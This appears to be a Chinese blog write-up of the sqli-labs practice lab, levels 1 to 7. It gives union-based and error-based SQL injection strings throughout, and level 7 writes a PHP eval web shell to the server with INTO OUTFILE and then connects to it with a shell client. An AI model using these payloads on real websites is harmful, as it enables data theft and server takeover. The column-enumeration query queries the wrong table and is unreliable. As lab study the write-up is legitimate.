sqli-labs.less1-7过关记录
- Pass 1
根据提示传入一个 ID 作为带数值的参数,并返回正常页面

加上一个单引号,返回语句错误,,说明存在字符型注入
进行猜字段,输入'order by 4--+回显错误

输入order by 3--+回显正常

测试回显位,拼接-1‘ union select 1,2,3--+,可以看出2和3可以回显查询内容

然后拼接version(),database()查看数据库版本和当前使用的数据库。5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

确定了回显位和数据库版本后就可以爆表和数据了
爆表 select group_concat(table_name) from information_schema.tables where table_schema=database()
爆字段:select group_concat(column_name) from information_schema.tables where table_name ='security'
- pass2
和pass1区别不大,数字型注入,不用单引号闭合

- Pass3
查看源代码可看见在闭合单引号的同时还需要闭合括号

所以输入应该是-1’)union select 1,2,3---+

- Pass4
查看源码可看见,虽然在sql语句中不包括引号,但是在第一句中为id参数加上了一对双引号。

所以注入语句应该为-1“)union select 1,2,3--+

- Pass5
输入单引号发现报错,可以确定是单引号闭合

输入1‘ and 1=1--+返回You are in...........
再输入1’ and 1=2--+时发现没有返回
这首先想到的是布尔盲注,但是看pass5的名字却是double query,根据字面意思是双查询。。。根据查阅资料后,通俗的来说在select中嵌套select来查询想要的数据,在通过mysql内部函数错误将错误信息和查询的数据一同输出
参考1:https://www.cnblogs.com/BloodZero/p/4660971.html
参考2:https://segmentfault.com/q/1010000000609508
然后我们可以构造相应的注入语句,首先判断列数输入'order by 3--+正常回显,输入‘order by 4--+无回显就说明有3列

输入' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a--+
我们来看一下这条语句组成的原理和效果:
rand()函数是生成一个大于0但小于1的数,通过floor()函数进行取整使得这个数要么是0要么是1,在通过concat()和group by统计,当出现重复数据时返回错误信息,但是里面的select database()语句还是执行了,所以将错误信息和查询的内容一同返回了。由于rand()函数存在随机性,所以不一定每次都能成功,多尝试几次就好了

然后爆表的语句是' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a--+
再通过更改中间select的内容去获取其他数据表和字段信息

- Pass6
这一关和上一关差别不大,只是双引号闭合,注入语句其他不变

- Pass7
根据关卡名可以看出要求Dump into outfile来注入,可以差不多猜出来是要利用导出,可以写入一句话然后导出,通过菜刀去连接

还是一样输入id=1',返回错误信息,这次包含了两个括号那么闭合前面的也需要两个括号

输入-1')) union select 1,2,3--+返回正常页面,还提示了使用outfile,那么基本可以断定了

因为这里使用的phpstudy搭建的靶场,默认导出没有权限,所以更改mysql的配置文件,将secure_file_priv更改为为空,更改为/指定导出路径为根目录,更改为空是可导出到随意目录,还有一个null之无法导入导出

语句格式为select xxx into oufile '路径';
我的注入语句为id=-1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell1.php' --+
虽然这里提示错误了,但是没有影响,我们的shell1.php还是上传了上去

然后我们通过菜刀连接上面的shell1.php密码是pass

添加完成后连接就可以了


浙公网安备 33010602011771号